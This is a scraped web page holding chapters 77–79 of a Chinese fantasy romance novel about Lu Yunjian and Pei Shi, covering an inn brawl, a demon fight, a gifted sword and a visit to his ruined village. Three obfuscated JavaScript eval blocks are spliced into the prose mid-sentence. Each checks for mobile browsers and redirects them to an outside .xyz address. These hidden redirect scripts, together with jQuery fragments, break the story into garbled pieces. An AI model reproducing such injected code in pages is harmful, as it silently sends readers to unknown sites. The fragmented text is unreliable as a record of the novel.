d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328767|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉扩散开的便是淡淡的甜,清冽而悠远。 陆云笺于是又斟了一杯,一饮而尽。 一杯又一杯,菜还没动,酒倒是快见底了,陆云笺终于放下杯盏,支着额闭上眼睛,半晌也没动静。 裴世放下酒杯,试着唤:“陆小姐?” 陆云笺没应。 裴世以为她是喝蒙了,又屈起手指轻轻敲了敲桌沿:“……陆云笺?” 陆云笺终于抬起了头,眸中果真有一瞬迷蒙,不过她又闭了闭眼,那一丝迷蒙便顿时消失无踪:“怎么了?”裴世还未开口,她又蹙着眉问,“什么香菇炖鲜鸡?” 此时酒楼里只有三桌坐了人,有一桌就在他们旁边,三人一直嗡嗡地说着话,声音虽小,裴世却听得一字不差,是以他在唤陆云笺的同时,一只手已经移到桌下按住了腰间佩剑。 陆云笺蹦出这么一句,不论是裴世还是旁边那桌,都忽地闭了嘴。 原本旁边那桌说的是“估量形势,夺得先机”。然而陆云笺又摇着头补了一句:“不要香菇炖鸡,我不喜欢香菇,也不要整鸡。” 裴世按在剑上的手不自觉地松了一瞬,他看着陆云笺镇定而清醒的双眸,问道:“……你喝醉了?”话音未落,他感到一旁忽起了一阵劲风,神色骤然变冷,剑已出鞘三寸,下一刻就要将旁边那一桌掀翻。 却听铿然一声响,两道银光相击,其中一道刹那溃散,而另一道,不及人看清,已经划过半空,悬在旁边那桌一人颈间。 裴世没有去看那人如何,而是一动不动地看着陆云笺。 陆云笺又闭上了眼,揉了揉额角,笑道:“好像是有点儿,小二说这酒不醉人,我看还是……还是有点劲儿的。”她说着,侧身看向旁边那一桌,“我与……” 眼前的人有些模糊重影,陆云笺顿了一瞬,压下酒意,这才继续道:“我与三位有什么仇怨么?” 被破月抵住脖颈的那人是三人中打扮得最整洁的,好歹头发梳得整齐。他斜眼看着陆云笺,喉结上下一滚,似乎想咽口水。 陆云笺伸出一指摇了摇,善意提醒道:“最好不要,当心见血。” 口水咽到一半,脖颈间洇出一道血迹,那人的眼珠僵硬地转了转,看向抵在自己颈间的寒光。 一时间几人都没有说话,陆云笺指尖轻轻敲着桌面,等人回答。 半晌,其中一人沉声道:“你杀了我们掌门,这难道不算仇怨?” 陆云笺的指尖停住了。 她现在的记忆包括了原本的四年后会发生的事,这么些年,她杀了无数妖魔鬼怪,也杀了很多人。奉命去杀人,从来不需要过问,也不需要考虑太多,她是真有些忘了,四年前杀了哪家的掌门。 她抬手,将破月召了回来,然后问:“你们是哪个门派的人?” “陆小姐还真是贵人多忘事。” 说话间,三人中一直一言不发的那人蓦地起身,五指成爪,眨眼间便携着劲风袭到了陆云笺面前。 陆云笺指尖一抬,正要动手,旁边忽地闪过一个人影,而后结结实实地将这人砸到了地上。 这人蓬头垢面,身材却是扎扎实实的膀大腰圆,脸上横肉堆积,看起来是个很不好惹的货色,却被裴世一招掀翻在地。 陆云笺将目光从裴世身上收回,又把指尖放下。多亏是裴世先动了手,若是陆云笺动手,轻则废了他的手,重些能把他脑袋开个瓢。 裴世还欲再补几脚,小二却终于注意到了这边的动静,走上来看见躺在地上的客人,惊道:“……这是怎么回事?” 裴世道:“这位客人说他身患奇病,浑身发痒,我们正在察看情况呢。” 77. 月惟霜 陆云笺噗嗤笑出了声,道:“这位客人还能走路么?还是需要我们送你去医馆?” 小二挠挠头,道:“是这样的,之前不想扫了各位的兴致,便没有说明,但现在时辰的确是有些晚了,小店也要打烊了,外头的医馆估计也没人了。” 陆云笺道:“不是说这家酒楼到子时才打烊么?” 小二道:“平日里是子时打烊,但今日是中元,路上也没什么人了,所以就提前打烊了。各位若是吃好喝好了,也请早些回吧,中元晚上不大太平。” 倒在地上那人被同伴扶了起来,愤愤盯着的对象由陆云笺转为了裴世。 裴世冷冷地扫了三人一眼:“请滚。” 陆云笺总算是瞧见了他驯顺表面之下的本色。 送走这三个不速之客,陆云笺对小二道:“这附近可有什么落脚的地方么?” “小店三楼就有几间房,客人若是喝醉了,就可以到三楼去歇息,不过今日三楼的客房已经住满了。”小二朝窗外的一片漆黑看了眼,“不过我们自己也住三楼,只是房间有些简陋,二位若是不嫌弃,也可以腾出两间来。” “那你自己呢?” “我?”小二似乎有些惊讶,随即又挠头,像是有些欣喜得不知所措,“到柴房凑合凑合就差不多了,我们经常这样。” 外头风声呜呜,鼓动门窗,几乎像是要破门窗而入。 陆云笺忽然道:“裴世,你身上带符纸没?” 裴世便从袖中抽出一沓厚厚的空白黄纸递给她。 陆云笺随手抽了几张,以灵力刷刷画了几笔,笑着对小二道:“多谢,你既送我一个人情,那我便还你一个。我看你们门窗上贴了符咒,但是不甚管用,你把这个贴上去,至少能保你们半年不受妖魔所扰。” 小二眼睛一亮,接过符纸:“你们是修道的?” 陆云笺道:“不修道,只是会画点小符,画着玩玩。” 小二翻看着几张符纸,心想这么潦草几笔当真有用?他就近将一张符咒贴在一扇窗户上,当即风停声息,连带着四周都安静了几分。 小二眼睛一亮:“真管用?!” 陆云笺道:“你们家的木梨酒当真不错,可否再上一些?” 小二应了一声,颠颠地下去备酒了。 方才的剑拔弩张仿佛只是一场无关紧要的小插曲,陆云笺理了理袖口,又坐了回去。没有灵力强行压着,一阵阵醉意便又漫了上来,漫得人头晕目眩。 酒杯里还剩了些木梨酒,陆云笺又捏起酒杯,正欲送到唇边时,忽听裴世道:“陆小姐……” “不要装乖。”陆云笺摆手纠正他,“叫我陆云笺。” 裴世被她的说法一噎,但也不好和醉鬼计较,于是顺着她道:“嗯,陆云笺。” 陆云笺点点头:“你要说什么?” 裴世的目光移至她袖口,道:“你受伤了?” “刚才吗?”陆云笺微微蹙眉,“不至于。” 裴世道:“不是,我说的是早些时候,在林子里,血腥气,很重。” 陆云笺微微一顿,瞄了一眼袖口,道:“出去除了几个邪祟,被划了一道而已,见了点血,你鼻子真灵,这都能闻到。” 这话不是虚言,陆云笺每每自哀牢回云间世,身上自然是会带着些许妖魔气息与血腥气的,只是这几分气息不会太重,不仔细的话很难察觉。而裴世不仅察觉了,还用了“很重”二字。 陆云笺转着酒杯,道:“没有骗你。别的都不是我的血。”她忍不住想——这样灵敏的五感与罕有的身手,足见他天赋非凡,如果真与照灵骨有关联,又为何偏偏没有灵力? 见裴世还是不说话,她又道:“打打杀杀嘛,难免的。就像今天那三个来寻仇的人,平日里走在路上,随随便便也能碰上几个。” 此时小二又上了一壶木梨酒,陆云笺便没再说话,给裴世斟了一杯,然后把剩下的一壶都划给了自己。 酒过三巡,小二已经在三楼收拾出了两间房,酒楼也已经打了烊,只给陆云笺和裴世这桌留了一盏灯。壶里杯里酒都见了底,陆云笺脸颊微微发红,伏在桌上,似乎是睡着了。 小二搓着手走过来:“二位吃好喝好啦?快到子时了,早些歇息吧。” 裴世点头道了一句:“多谢。” 小二是个热心肠,见陆云笺醉得不省人事,下意识想上前搭把手,正对上裴世寒刃般的目光,又讪讪地把手缩了回去。 小二住的房间虽然整洁干净,却实在狭小简陋,里头只有一张床、一只小柜,连桌椅都没有。 裴世将陆云笺放在床边,伸手按了按床榻,木板冷硬,隔着一层薄薄垫被仍有些扎人,他便脱了外袍垫在床榻上,将边角褶皱都抚平,又放陆云笺躺下,掖好被角。 做完这一切,裴世正欲起身推门离开,窗户却忽地被风鼓动,外头呼啸的风从窗缝中漏进几缕,寒意阵阵,木质窗框噼啪作响,吵闹不堪。 他回头看了陆云笺一眼,见她睡得沉,便拔出腰间佩剑,走到窗户边,而后拉开窗户—— 无数妖魔鬼怪藏身风中、扑杀而来,又被三下五除二杀了个干干净净。 方才忽然尖啸起来的风又忽地止息,裴世收剑入鞘,将窗户重新关紧,正欲回身,却听身后不远处陆云笺说道:“上回擂台赛的头奖不是一把剑么?怎么不用那把?” 裴世转过身,瞧见陆云笺坐在床边,看起来很清醒,不过他并不能确定她醒了几分,于是问:“你酒醒了?” 陆云笺看着他,微微眯了一会儿眼,没有说话,看起来酒劲还没完全被压下去。 待她的眼神完全恢复清明,似乎并没有听见他方才问的话,而是指向他腰间剑柄花纹都已经被磨损得模糊不清的佩剑:“磨损得有些厉害了,德昌行铸的那把剑虽然也没那么好,但到底是第一大商行,应当不会差,至少比这把剑好。” “……当时重比一场,尹旭胜了,便先把剑拿了去。后来他被逐出师门,就把剑毁了。” 陆云笺又眯起眼,道:“他们没给赔偿?” “给了,”裴世道,“天玑长老代他赔偿了一百万银。” 一百万银其实已经超出了那把剑的价值,想再去铸一把更好的也可以,但若给的是剑,裴世便会把旧剑换掉,可给的是银两,那就只有攒起来的份了。 陆云笺的目光移至裴世压着佩剑的手,他皮肤很白,被漏入屋中的月光一照,便近乎苍白而无血色。 陆云笺道:“其实你更适合用刀。来日若是要铸一件新武器,或许可以换成刀。” 裴世抿了抿嘴唇,没说话。 陆云笺抬起手,指尖紫色灵光一闪,一道紫光跃出,在地面跳跃几步,而后跃上裴世的肩。裴世微微侧过头,就见肩上趴着的紫色灵光化作了一只银白妖狼,额间一道紫色弯月,双眸也是极深的紫色,正抬头看着他。 裴世看了那小东西片刻,又转头看向陆云笺:“……驭兽术?” “不是驭兽术,它不是我养的宠物。”陆云笺说着扫了一眼伏在裴世肩上的妖狼,又改了口,“也算是宠物吧,不过这的确不是驭兽术,而是我自创的一个小法术。” 妖狼龇了龇牙,表达对陆云笺“宠物”一词的不满,然后往裴世颈间拱了拱,又蹭了蹭他侧脸,最后把毛绒绒的脑袋埋在他颈间细嗅,惹得他脖颈一阵发痒。 裴世抬起一指将妖狼的脑袋拨开些许:“……这是狗?” 妖狼顿了一下,似乎又想龇牙,不过忍住了。 陆云笺笑道:“它看起来很是喜欢你呢,对你比对我还客气。旁人若说它是狗,它可真就要下嘴咬了。” 裴世将它从肩上拿下来,打量一番:“原来是狼。这术法叫什么名字?” “名字?” 陆云笺一顿,她创法术,唯一用途就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336396|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 创来就用,从来没想过要给这种小术法起什么名字,于是想了想,随口道:“就叫‘化兽术’吧。” 裴世虽没有灵力,术法类功课却从来不落,甚至比别的功课都要多花些心思,陆云笺怕他再问细节,于是道:“我想起来,我们如今也是朋友了,我给你备了件礼物,就在——”她指尖一转,指向窗户。 裴世道:“……那群妖魔鬼怪?” 陆云笺摇摇手指:“那群小东西不能算,大东西在后头呢。” 裴世总算明白,陆云笺为什么要在酒楼里住下,又为什么明明贴了符咒,这间房却没有免于妖魔侵扰。 云间世结界绵延数里,将附近的邪祟都斥出结界之外,这家酒楼正处在云间世结界边缘,再往回走一步,就没什么妖魔鬼怪了,更不会有什么“大东西”。 陆云笺煞费苦心,为的就是把妖魔鬼怪领上门。 她像是忽地想起了什么,道:“不成,待会儿它要是进来,这间房可就保不住了,还是不要连累人家。”说着尚未及裴世反应,便一把拽过他,推开窗户,自三楼一跃而下—— 中元夜间的风有些凉,自二人袖间窜过,又钻进领口。 陆云笺虽抓着裴世,却比他先一步跳了下去,发梢不远不近,恰好挠过他的脸颊,带着淡淡木梨酒香,发端有些凉,挠得他有些痒。 他又将头偏了几分,尚未圆满的月映照出陆云笺的身形,发丝刺入他的眼睛,痒变作了痛,他的眼睛映着月光,一眨不眨。 陆云笺落地时缓冲片刻,而后松开了裴世的手。她整了整衣摆,转头笑道:“裴世,你刚才打得太凶,这一片的妖魔鬼怪都不敢靠近了。不过也好,这附近民居还是有些多,我们——” 她指了指不远处的山林:“去那边看看。” 两人慢悠悠走到山林边也不过花了一盏茶的时间,此处人烟确实少了不少,山林茂密,月光都只能漏进一点点,即便是在漆黑一片的山林中,也显得有些浅淡。 陆云笺走在前面,忽然伸手挡了裴世一下,转头将一指抵在唇边,做了个噤声的手势。 妖狼自裴世肩头跃回陆云笺肩头,裴世将呼吸放轻放缓,而后听清了在黑夜中不甚清晰的低低吼声。那低吼声初时还有些远,带动林叶沙沙,片刻后却忽地止息,没了半点声响。 裴世再次不动声色地将手移到腰间佩剑上。 下一刻,陆云笺所立之处忽地土地崩裂,山石裹着风沙,顷刻将那个紫衣身影吞没,林叶如针,嗖嗖刺破夜空,直朝裴世袭来! 裴世拔剑以对,铿然几声,林叶飘飘落地,他持着剑,目光自林间、地面飞速扫过。然而越扫越是心慌,他握紧手中剑,咬牙唤道:“陆云笺?” 无人回应。 狂风只止息一瞬,下一刻,一个高大逾丈的黑影自林间行来,所过之处的林木无不断裂倒塌,发出轰然声响。碎木碎石被四起风沙卷起,擦着裴世的脸颊呼啸而过。 裴世抬眼望去,便见那个无数次午夜梦回看见的鬼影、时常在翻阅图鉴时看见、无比熟悉亦无法忘却的噩梦,正一步一步,朝他迈来。 鬼魈。 并不是当年杀害父母的那只,这只无论身形还是力量看上去都要小得多,即便如此,裴世的脊背仍不可控制地蹿上一阵寒意。他将手中的剑握得更紧,即便那把剑已经很旧,边缘磨损,也不甚锋利,仿佛他握得再紧一些,这把剑会先一步在他手中断裂。 鬼魈抬脚迈的每一步都卷起狂风,裴世的剑甚至还没与他对上,就已经隐隐出现了裂痕。 正在此时,天边忽然闪过一道炫目至极的蓝色光芒,那道光芒划过夜空,径直飞向裴世。他下意识抬手接住,才看清那是一把通体银白、泛着冰蓝灵光的剑,携着比寒夜更冷的光与气息。 他抬起头,循着光芒所来之处望去。 一个紫色身影立在树端,立在月下,正遥遥俯瞰着他。 78. 愿为刃 鬼魈肢体破碎掉落于地时,裴世有一瞬恍惚。 他原以为,任何书籍里只要提到“鬼魈”二字就会跟上“暴虐”“凶残”“力能通天”等等字眼的意思是,他此生此世绝无可能杀得了它,注定一遍遍回想无法抹去的噩梦,一生无为,直至碌碌而死。 陆云笺的佩剑在他手中兀自寒凉,灵力极盛,刺目灵光下,浓重的血污都显得十分浅淡。三尺寒刃握在手中,捂也捂不热,裴世周身的血液却渐渐回温—— 原来身无灵力,也杀得了鬼魈? 陆云笺轻轻巧巧地自树端跃下,笑道:“你看,你果然只是差一件称手的武器罢了。” 裴世低眸摩挲着剑柄,道:“这把剑叫什么名字?” “惟霜。” “剑如其名。” 裴世看着那把不可多得的剑,无端想将鬼魈的四肢百骸、五脏六腑都撕烂碾碎,可他不想弄脏了惟霜剑,即便这把剑已经百战,不知沾过多少妖魔鬼怪的血。 他将剑收起,欲递还给陆云笺。 陆云笺却没急着把剑拿回去,反而道:“你用它用得很顺手,不知你有没有注意到,这把剑上的灵光,自始至终都很亮,没有减弱。” 裴世抬眼看着她。 “我在剑上灌注了灵力,若是你能运转它,灵光便不会消失。若是不能,它就是一把没有灵力的剑,不会有一点光亮。” 裴世微微睁大了眼睛。 “所以说——你是有灵力的,并且你的灵力很充沛,不然运转不了惟霜。只是由于某些阻碍,你不能使用灵力,或说,你的灵力被封住了。你修炼的这些年,没有一天是浪费的,只是在等一个时机。” 裴世的神色说不上是欣喜还是惊讶,唯有茫然最是清晰,衬得他脸色都有些苍白。 若说疑惑,陆云笺一点也不比他少。没有灵力,那还好说,禀赋使然,天命难逆。可灵力被封印,这就很不妙—— 这意味着,无论是她、陆明周、季瑶,还是陆稷、季良衢、无津大师,甚至对照灵骨天生敏感的破月妖狼,都没有感知到这个封印的存在。 那个给裴世打上封印的人或是东西,实力远在他们之上,以至于他们连封印的术法端倪都无法觉察。 裴世与照灵骨有关联的可能性更大了,原本值得高兴,可陆云笺高兴不起来。无论是逆转时空前还是逆转时空后,她都想不到任何一个能做到如此地步的人。 这比直面敌人更为糟糕。 裴世怔然许久,复又低下眼眸,轻笑一声:“多谢。”同样没有欣喜,更多的是自嘲。 林中风动叶响,似乎又有什么东西正悄然靠近,陆云笺没有去管,只点了点妖狼的额头。妖狼自她肩上跃下,奔走几步,便化出原形,带着呼啸夜风向林中奔去。 陆云笺忽然道:“我说我是去除了几个邪祟,不小心被划了一道,这是骗你的。” 裴世将目光自妖狼身上收回,看向陆云笺,并没有太多意外。 “云间世有一支暗卫,叫银鹰卫,你应该知道吧。” “嗯。” 云间世与镜阳宗都有暗卫,此事修真界各门各派都知晓,不是什么秘密。 三百余年前云间世就有几支暗卫,后来十二道分出三道,与云间世划清界限,组成镜阳宗,也沿袭了这一传统,成立了乌鳞卫。 云间世全派事务由掌门一人全权处理,十二道长老辅佐掌门,各司其职。镜阳宗则不同,从云间世分出去的三道后来演化为六道,与掌门共同处理全派事务。 但无论是云间世还是镜阳宗,暗卫都是独立在外的,极少有人见过。天下皆知,却踪迹杳然。 “暗卫在进入云间世之前,要在哀牢训练十年,据说险象环生,极难生还。” 裴世的手不自觉握紧,听见陆云笺说“据说”,又微微放松。 “其实银鹰卫呢,我也没有见过,有权力和机会与他们见面的,应该只有父亲和我哥。我在哀牢,与他们进行的应该也不是同一种训练。” 裴世的呼吸蓦地一滞。 陆云笺平静地继续:“不过无论是我还是银鹰卫,训练倒都是一样的不走寻常路。那次擂台赛,你我第一次交手,你应该就能感受出来,我和一般的路子不同……怎么说呢,或许你会觉得,和哀牢那地方一样,挺阴的。” 裴世忽然道:“我不会这么觉得。” “好,那就多谢你了。”陆云笺笑道,“不过有些法术,我是使不了的,比如合魂之阵,比如引魂之阵,比如请神之术,偏是偏了些,但都是上古留下来的正统术法,和那些暗卫一样,我用不了。有好些人说羡慕我的灵力与身手,但是我不会与他们说,很多你们能使的术法,我根本使不了,好在这些术法也不常用,所以我不说,也就没人发现。” 陆云笺说得很平静,裴世看着她,眼睫却在簌簌颤动。若是发现了,便会说云间世陆小姐来路不明、行事不正,更甚者或许会直接被打作邪魔歪道。 “所以——有所不长,非你之过。便是某一样有缺陷,也不会妨碍你去做自己想做的事,包括有朝一日,你能屠尽鬼魈,让这个种族,彻底消失。” 裴世的手握紧又松开,指尖触及掌心,这才惊觉手掌已经汗湿,在夜间有些发凉。他道:“我可以为了屠尽鬼魈献出我的一切,但你不行。为什么要去哀牢?” 陆云笺道:“我为什么不行?” 裴世道:“就是不行。” 陆云笺噗嗤笑出了声,道:“好吧。不过呢,我和你是一样的,为了屠尽天下诸妖邪,我也可以献出我的一切。无所谓什么心怀天下替天行道,我入云间世,又前往哀牢,是为了有朝一日能为我母亲报仇。” “报仇?” “你似乎觉得云间世尊主之女很是光鲜亮丽?不是的。很多时候……绝大多数时候。” 陆云笺抬手,感受了一会儿自指间穿过的风,继续道:“我都觉得自己并不是云间世的人,也不明白自己为什么会成为云间世的人。” 妖狼在林间穿行、踏碎林木、撕碎妖魔的声音渐远渐轻,四周逐渐悄无声息,万籁俱寂间,两人相对而立,一个没有开口,另一个没有继续。 月色渐冷时,裴世忽地垂了眼眸,朝陆云笺单膝跪下,将惟霜剑双手奉过头顶,一字一句,极尽忠诚: “我愿意做你的剑。无论是杀妖魔,杀邪祟,亦或是杀人。” 他抬起脸,一双深邃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343045|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸在月光下亮得晃眼:“我都可以替你去做。” 陆云笺被那两池眸光刺得一痛,没有立刻回答。 她觉得,这样的目光,她应当是很熟悉的,无论是逆转时空前还是逆转时空后,她都曾无数次感受到这样一道目光,永远望向自己,而当她转头去看时,又顿时隐匿无踪。 那道目光从来都遥远,此刻却就在眼前。 陆云笺恍惚一瞬,酒意似乎漫上来几分,她问:“我以前,见过你吗?” 裴世一怔,眼睫垂了些许,将那两池光亮掩去几分:“没有。” 云移风动,皎月隐入层云之后,陆云笺所立之处忽地陷入一片黑暗。然后她缓过神,抬手将惟霜收回:“我不需要。” 这样的答案是意料之中,裴世没有起身,也没有其他动作。 “我已经有了自己的剑,不再需要任何人。” 陆云笺说着转身,可忽地有些于心不忍,这种感觉漫上来的一瞬间她又有一瞬恍惚—— 她已经很久、很久没有过“于心不忍”的感觉了。 原当是心如草木,却不料余温尚存。 于是她又说:“临安很好,等有机会,我想和你一起去看看。”她没有再转头去看裴世,只抬手召回妖狼,就势跃上三楼。 时至夜半,风很冷。 陆云笺一回房间,立刻反手合上窗,直到呼吸渐渐平复,知觉重回,又能感受到夜半的冷意时,她才坐回床榻,再次召出妖狼,道:“你嗅出了什么?” 妖狼趴在她膝头,道:“没有。” “你鼻子出问题了?” 妖狼瞪了她一眼,把话说完整:“那个碎骨头是他没错,但他身上没有照灵骨的气息。”它顿了顿,又补充一句,“一点也没有。” “……那灵力呢?”陆云笺蹙着眉,“他有没有灵力?” “这个……”妖狼似乎思索了一会儿,“好像有一点?很弱,似乎是被压制住了。” “……是封印。”陆云笺喃喃道,“你有没有觉出什么术法气息?尤其是封印。” “没有。” 陆云笺久违地有些茫然与无措。 几乎可以确定,有一个封印封住了裴世所有的灵力以及照灵骨的气息,而所有人无知无觉,连封印都察觉不到,更不用谈什么破开封印。 她可以想办法将裴世体内照灵骨的效用发挥出来,可那个设置封印的人,他们绝无可能与之抗衡。 灾难临世时,没什么神人从天而降,那么此人要么袖手旁观,要么已经身死,要么……倾覆之灾,如果是有具有如此力量的人促成的,也不足为怪。 逆转时空,唯有一次机会。这一次,他们能赢吗? 陆云笺只用了几秒来茫然,片刻后缓过神,在心里默默地把已经有了初步设想的阵法涂掉。当时她以为裴世是真的没有灵力,那么他体内即便有照灵骨,应当也是残缺的,她构思了一个阵法,用以取出照灵骨。 如今那个阵法作废了。 陆云笺手往后一撑,准备躺回榻上,指尖却触到了一片有些粗糙的布料,她转头一看,才发现裴世的外袍还铺在榻上,没有拿走。 陆云笺的指尖顿住了。 79. 幻墟光 云间世弟子平日里每月休沐五日,唯有元日到上元可以一连休沐半月。临安路远,陆云笺也并不想匆匆来又匆匆去,刚好元日到上元期间云间世的事务也不会太多,便挑了休沐的半月,启程前往临安。 一到休沐日,众弟子都立刻抛开课业,急匆匆地奔下山,长老们大多也不会选择留在门派中,于是放课才短短两个时辰,云间世就几乎空空如也。 陆云笺没太多东西要整理,便早早地站在流丹阁阶上等裴世。此时流丹阁周围那片奇树的一树繁花已经换作了寒梅,陆云笺不喜红梅,便抬手小施术法,换作了白梅。 陆云笺摘了一朵白梅捏在指尖细嗅,而后抬眼,看向山石小径上远远走来的那个人。 裴世总算没再穿云间世的藏青弟子服,而是换了一身素白衣裳,袖口是一贯的收束样式,只在边缘以霭蓝丝线绣了卷云纹,使这素白显得不那么单调。 裴世也没什么东西需要整理,之所以来迟了些,想必又是追着哪位倒霉长老提问了。 陆云笺没有走下石阶,而是立在原处,等着裴世走到面前。 裴世走到白梅树下,果然说:“方才遇到一个问题,耗费了些时间。走吧?” 陆云笺却没动,站在比他高几阶的石阶上,忽然轻笑起来。 裴世道:“怎么了?” 陆云笺道:“这树本来开的是红梅,但我刚刚把它换成了白梅,现在看来,果真没有换错。” 白梅的细碎花瓣簌簌而落,恍如降下一场皓白温柔的雪。 “白梅衬你,很好看。” 她言辞含糊,三两步下了石阶,与裴世擦肩而过,留他愣在原地看着一树簌簌颤动的白梅花。 春秋两季的临安最是好看,冬季若是有雪,景色也绝佳,不过两人运气不大好,没赶上春秋,也没遇上雪,只见到了冬季独有的黯淡与湿冷。 不过其实没有太多影响。 两人走过名满天下的西子湖,走过数百年前衰落的仙门灵隐寺,走过话本子里的雷峰塔,其实都没有停留太久。 许是灰暗的天本就有些沉重,陆云笺每看过一处,都仿佛看到灾劫之下的疮痍,雕栏玉砌,碧瓦飞甍,都是平等的断壁残垣。说不上是不忍还是恐惧,她只本能地觉得,不应如此。 绕着西子湖走的第三圈,陆云笺意识到所谓身心舒畅的效用对自己全然无效,于是停步转身,正好对上了也没在看景色的裴世的目光。 陆云笺觉得有些好笑,问道:“还想走第四圈么?” “……不是很想。” “嗯,我也不想。”陆云笺摸着下巴,状似不经意地道出此行的真正目的,“你以前住哪儿?我想去看看。” 裴世微微蹙眉:“那地方有些偏,当年就已经成了废墟,现在应当也没有理由被重建。” “无所谓。” 裴世抬头看了看天,道:“天色有些晚了。你喜欢在夜间欣赏废墟美景?” 陆云笺觉得,这人褪去温顺的假面,倒还挺有意思。 “是有点晚了。”陆云笺二话不说抬手召来惟霜,拽着裴世往剑上一站,呜呜的风灌进领口,有些冷,于是她又开了一道御寒结界,“所以抓紧吧。” 被迫上了贼船,裴世便不得不从。惟霜行得并不快,丝丝缕缕流云自脚下走过,过了约莫一炷香,陆云笺指着下方一块杳无人迹的地方道:“这儿?” 裴世闷闷地“嗯”了一声。 陆云笺缓缓降下惟霜剑,挑了块能落脚的空地,一跃而下。 的确很是偏僻,不过背靠河流,离得最近的林子也有好一段距离,应当不是个易招来鬼魈的地方。此处原本是个小村庄,此时几乎已经被夷为平地,大火席卷而过,两人脚下的土地焦黑,寸草不生,不远处却是荒草萋萋,几乎有半人高。 四处是破碎的木片,一不留神便可能扎进脚底。 裴世跟在陆云笺后面,道:“太乱了,走吧。”顿了顿,他又补充,“没什么好看的。” 陆云笺便停了脚步,回头看了他一眼。 那瞬间的目光太过复杂,裴世既没有看清,也没有看明白,只看见陆云笺指尖似乎亮起了一点术法光芒,渐渐强盛,代表着某个阵法正渐渐成型。 “你不喜欢这里?” 其实这话听起来有些莫名其妙,任谁看到曾经的家变成一片废墟也不会心生欢喜。 不过裴世知道陆云笺问他的并不是这个意思。 他偏头看着陆云笺指尖的灵光,沉默片刻,道:“即便不是废墟,我也不——”然后他看到陆云笺抬起指尖,灵光一跃,升至空中,仿若一团璀璨焰火轰然炸开。 点点火星落下来,触地的瞬间仿佛荡开一圈涟漪,涟漪止息,数间木屋又重新立在他们前方。 “这种修复的法术我用得很少,不太熟练,但应该还是能暂时还原一下当年的模样。” 裴世的目光不由自主地移到这片幻影里,老旧木屋、潺潺河流、茵茵绿草,仿佛都在这一刻复苏,自断壁残垣间拔出无限生机。 裴世恍惚间看见当年的自己鬼魅一般游走在河边,看见几个吵闹的少年围着自己又跳又笑,看见鬼魈掀翻一座又一座木屋,无数人成了碎泥,又化作焦土。 但这次不一样。 他居然也能看见母亲在灯下缝衣服,看见自己和父亲一起晒谷子,看见白衣仙人从天而降,生生削断鬼魈的指爪。 一些他极少记起、仅有的能让他有片刻喘息的记忆。 他张了张嘴,想说话,却觉喉间干涩,一时没能发声。 陆云笺听颅内妖狼说完最后一句,回过神来,转头问道:“怎么了?” 裴世将到了嘴边的“谢”字吞了回去,摇了摇头,没说话。 陆云笺其实对废墟没有丝毫兴趣,方才她放妖狼出去巡了一圈,没有发现照灵骨或是具有类似效力的东西,只在河岸边、焦土下嗅到了久远而微弱的照灵骨气息。 当年裴世身上的封印或许还不如现在这般强大到全无痕迹,又或许阴差阳错曾被打破过,那几分微渺的气息应当就是当年的他留下的。 这点发现并没有太多帮助。 陆云笺转过身,朝外走了两步,却看见裴世立在原地,静静地看着眼前的幻象。 陆云笺想说,知道为什么这个术法我不常用吗?因为我不喜欢用幻影来自欺欺人。死了就是死了,烂了就是烂了,可以心如枯槁可以痛哭流涕,唯独没必要制造假象来骗自己。 不过她到底还是没说,只不动声色地用灵力将幻影的效用又延长了些许,足够他站在这里看到半夜三更。 谁知灵力刚放出去,天边一道剑光闪过,幻影即刻破碎瓦解,一瞬之间便消失无痕。 陆云笺拽着裴世后退几步,避开破风而来的剑气,幻影彻底消失后,碎木焦土的边缘出现了两个并肩而行的烟青色身影,一人手中持着剑尚未放下,衣袍在夜风中猎猎飘摆。 陆云笺微微眯起眼,站在原地没动,直到远处的两人走到面前,她才笑着招呼道:“季公子,季小姐。” 来人正是季衡和季瑶。 此时云间世和镜阳宗虽不计前嫌、合力应对灾劫,陆云笺也与这两人打过几回交道,但远称不上熟悉,更谈不上朋友。 季衡与季瑶性子很是相像,他们看见陆云笺的时候有一瞬不易察觉的惊诧,又在看见裴世的时候有一瞬痕迹浅淡的顿悟。 季衡的目光在裴世身上停留片刻,然后移向陆云笺:“我们不知方才是陆小姐设的幻象,贸然打破,万分抱歉。” 陆云笺只笑了笑,没说话。 于是裴世道:“无事,已经看够了。” 陆云笺这才道:“不想在这里居然能遇到二位,想必二位还未用晚饭吧?听说附近有家临安小馆很是不错,不如一起去吃个晚饭?” 这几人外露的情绪都不会太过浓重,陆云笺却在一众淡淡的神情中,觉出“仿佛见了鬼”的意味来。 四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 